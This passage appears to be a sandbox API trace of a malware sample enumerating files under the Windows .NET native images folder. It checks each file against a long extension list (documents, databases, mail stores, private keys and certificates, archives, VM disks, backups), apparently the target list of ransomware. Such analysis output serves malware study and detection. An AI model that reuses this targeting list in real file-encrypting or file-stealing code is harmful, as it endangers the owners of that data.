(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.mye") returned 0 [0105.102] lstrlenA (lpString="*.mye") returned 5 [0105.102] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.mbox") returned 0 [0105.102] lstrlenA (lpString="*.mbox") returned 6 [0105.102] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.eml") returned 0 [0105.102] lstrlenA (lpString="*.eml") returned 5 [0105.102] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.pst") returned 0 [0105.102] lstrlenA (lpString="*.pst") returned 5 [0105.103] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.ost") returned 0 [0105.103] lstrlenA (lpString="*.ost") returned 5 [0105.103] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.idx") returned 0 [0105.103] lstrlenA (lpString="*.idx") returned 5 [0105.103] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.dbx") returned 0 [0105.103] lstrlenA (lpString="*.dbx") returned 5 [0105.103] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.sql") returned 0 [0105.103] lstrlenA (lpString="*.sql") returned 5 [0105.103] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.mdb") returned 0 [0105.103] lstrlenA (lpString="*.mdb") returned 5 [0105.103] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.fdb") returned 0 [0105.103] lstrlenA (lpString="*.fdb") returned 5 [0105.103] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.wab") returned 0 [0105.103] lstrlenA (lpString="*.wab") returned 5 [0105.103] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.dat") returned 0 [0105.103] lstrlenA (lpString="*.dat") returned 5 [0105.103] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.txt") returned 0 [0105.103] lstrlenA (lpString="*.txt") returned 5 [0105.103] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.jpeg") returned 0 [0105.104] lstrlenA (lpString="*.jpeg") returned 6 [0105.104] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.jpg") returned 0 [0105.104] lstrlenA (lpString="*.jpg") returned 5 [0105.104] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.png") returned 0 [0105.104] lstrlenA (lpString="*.png") returned 5 [0105.104] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.php") returned 0 [0105.104] lstrlenA (lpString="*.php") returned 5 [0105.104] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.cs") returned 0 [0105.104] lstrlenA (lpString="*.cs") returned 4 [0105.104] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.cpp") returned 0 [0105.104] lstrlenA (lpString="*.cpp") returned 5 [0105.104] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.rar") returned 0 [0105.104] lstrlenA (lpString="*.rar") returned 5 [0105.104] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.zip") returned 0 [0105.104] lstrlenA (lpString="*.zip") returned 5 [0105.104] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.html") returned 0 [0105.104] lstrlenA (lpString="*.html") returned 6 [0105.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.htm") returned 0 [0105.105] lstrlenA (lpString="*.htm") returned 5 [0105.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.xlsx") returned 0 [0105.105] lstrlenA (lpString="*.xlsx") returned 6 [0105.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.xls") returned 0 [0105.105] lstrlenA (lpString="*.xls") returned 5 [0105.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.mp4") returned 0 [0105.105] lstrlenA (lpString="*.mp4") returned 5 [0105.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.ppt") returned 0 [0105.105] lstrlenA (lpString="*.ppt") returned 5 [0105.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.pptx") returned 0 [0105.105] lstrlenA (lpString="*.pptx") returned 6 [0105.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.doc") returned 0 [0105.105] lstrlenA (lpString="*.doc") returned 5 [0105.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.dot") returned 0 [0105.105] lstrlenA (lpString="*.dot") returned 5 [0105.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.docx") returned 0 [0105.105] lstrlenA (lpString="*.docx") returned 6 [0105.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.7z") returned 0 [0105.106] lstrlenA (lpString="*.7z") returned 4 [0105.106] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.tar") returned 0 [0105.106] lstrlenA (lpString="*.tar") returned 5 [0105.106] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.bz2") returned 0 [0105.106] lstrlenA (lpString="*.bz2") returned 5 [0105.106] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.gz") returned 0 [0105.106] lstrlenA (lpString="*.gz") returned 4 [0105.106] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.mkv") returned 0 [0105.106] lstrlenA (lpString="*.mkv") returned 5 [0105.106] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.eml") returned 0 [0105.106] lstrlenA (lpString="*.eml") returned 5 [0105.106] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.msg") returned 0 [0105.106] lstrlenA (lpString="*.msg") returned 5 [0105.106] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.edb") returned 0 [0105.106] lstrlenA (lpString="*.edb") returned 5 [0105.106] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.accdb") returned 0 [0105.106] lstrlenA (lpString="*.accdb") returned 7 [0105.107] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.odb") returned 0 [0105.107] lstrlenA (lpString="*.odb") returned 5 [0105.107] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.java") returned 0 [0105.107] lstrlenA (lpString="*.java") returned 6 [0105.107] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.asm") returned 0 [0105.107] lstrlenA (lpString="*.asm") returned 5 [0105.107] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.pfx") returned 0 [0105.107] lstrlenA (lpString="*.pfx") returned 5 [0105.107] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.pem") returned 0 [0105.107] lstrlenA (lpString="*.pem") returned 5 [0105.107] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.p12") returned 0 [0105.107] lstrlenA (lpString="*.p12") returned 5 [0105.107] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.gpg") returned 0 [0105.107] lstrlenA (lpString="*.gpg") returned 5 [0105.107] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.vsd") returned 0 [0105.107] lstrlenA (lpString="*.vsd") returned 5 [0105.107] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.odg") returned 0 [0105.107] lstrlenA (lpString="*.odg") returned 5 [0105.107] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.raw") returned 0 [0105.108] lstrlenA (lpString="*.raw") returned 5 [0105.108] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.nef") returned 0 [0105.108] lstrlenA (lpString="*.nef") returned 5 [0105.108] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.svg") returned 0 [0105.108] lstrlenA (lpString="*.svg") returned 5 [0105.108] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.psd") returned 0 [0105.108] lstrlenA (lpString="*.psd") returned 5 [0105.108] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.vmx") returned 0 [0105.109] lstrlenA (lpString="*.vmx") returned 5 [0105.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.vmdk") returned 0 [0105.109] lstrlenA (lpString="*.vmdk") returned 6 [0105.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.vdi") returned 0 [0105.109] lstrlenA (lpString="*.vdi") returned 5 [0105.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.lay6") returned 0 [0105.109] lstrlenA (lpString="*.lay6") returned 6 [0105.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.mpeg") returned 0 [0105.109] lstrlenA (lpString="*.mpeg") returned 6 [0105.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.djvu") returned 0 [0105.109] lstrlenA (lpString="*.djvu") returned 6 [0105.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.tiff") returned 0 [0105.109] lstrlenA (lpString="*.tiff") returned 6 [0105.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.backup") returned 0 [0105.109] lstrlenA (lpString="*.backup") returned 8 [0105.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.pdf") returned 0 [0105.109] lstrlenA (lpString="*.pdf") returned 5 [0105.110] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.cert") returned 0 [0105.111] lstrlenA (lpString="*.cert") returned 6 [0105.111] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.docm") returned 0 [0105.111] lstrlenA (lpString="*.docm") returned 6 [0105.111] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.xlsm") returned 0 [0105.111] lstrlenA (lpString="*.xlsm") returned 6 [0105.111] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.dwg") returned 0 [0105.111] lstrlenA (lpString="*.dwg") returned 5 [0105.112] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.nd") returned 0 [0105.112] lstrlenA (lpString="*.nd") returned 4 [0105.112] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.tlg") returned 0 [0105.112] lstrlenA (lpString="*.tlg") returned 5 [0105.112] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.lgb") returned 0 [0105.112] lstrlenA (lpString="*.lgb") returned 5 [0105.112] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.mov") returned 0 [0105.112] lstrlenA (lpString="*.mov") returned 5 [0105.112] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.xdw") returned 0 [0105.112] lstrlenA (lpString="*.xdw") returned 5 [0105.112] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.ods") returned 0 [0105.112] lstrlenA (lpString="*.ods") returned 5 [0105.112] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.wav") returned 0 [0105.112] lstrlenA (lpString="*.wav") returned 5 [0105.112] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.mp3") returned 0 [0105.112] lstrlenA (lpString="*.mp3") returned 5 [0105.112] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.aiff") returned 0 [0105.113] lstrlenA (lpString="*.aiff") returned 6 [0105.113] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.flac") returned 0 [0105.113] lstrlenA (lpString="*.flac") returned 6 [0105.113] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.m4a") returned 0 [0105.113] lstrlenA (lpString="*.m4a") returned 5 [0105.113] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.csv") returned 0 [0105.113] lstrlenA (lpString="*.csv") returned 5 [0105.113] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87c46151, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x87c46151, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x87c92411, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x150a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.Services.Client.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0105.113] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0105.113] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87d04832, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x87d04832, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x87d04832, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="a933cd1241698e4d13d80c8cb31d7055", cAlternateFileName="A933CD~1")) returned 0 [0105.113] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0105.113] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84d42e7a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x84d42e7a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x84d42e7a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Data.Services", cAlternateFileName="SYEB95~1.SER")) returned 1 [0105.113] lstrcmpA (lpString1=".", lpString2="System.Data.Services") returned -1 [0105.114] lstrcmpA (lpString1="..", lpString2="System.Data.Services") returned -1 [0105.114] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0105.114] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Data.Services" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services" [0105.114] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services") returned 67 [0105.114] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84d42e7a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x84d42e7a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x84d42e7a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0105.115] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0105.115] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84d42e7a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x84d42e7a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x84d42e7a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.115] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0105.115] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0105.115] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84d42e7a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x84d42e7a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x84d42e7a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="c335a6ef5339fa917518475c286c8ca4", cAlternateFileName="C335A6~1")) returned 1 [0105.115] lstrcmpA (lpString1=".", lpString2="c335a6ef5339fa917518475c286c8ca4") returned -1 [0105.115] lstrcmpA (lpString1="..", lpString2="c335a6ef5339fa917518475c286c8ca4") returned -1 [0105.115] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\*.*") returned="*.*" [0105.115] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\", lpString2="c335a6ef5339fa917518475c286c8ca4" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4" [0105.115] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4") returned 100 [0105.115] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Services\\c335a6ef5339fa917518475c286c8ca4\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84d42e7a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x84d42e7a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x84d42e7a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0105.116] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0105.116] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84d42e7a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x84d42e7a, ftLastAccessTime.dwHighDateTime=0x1cb892f, 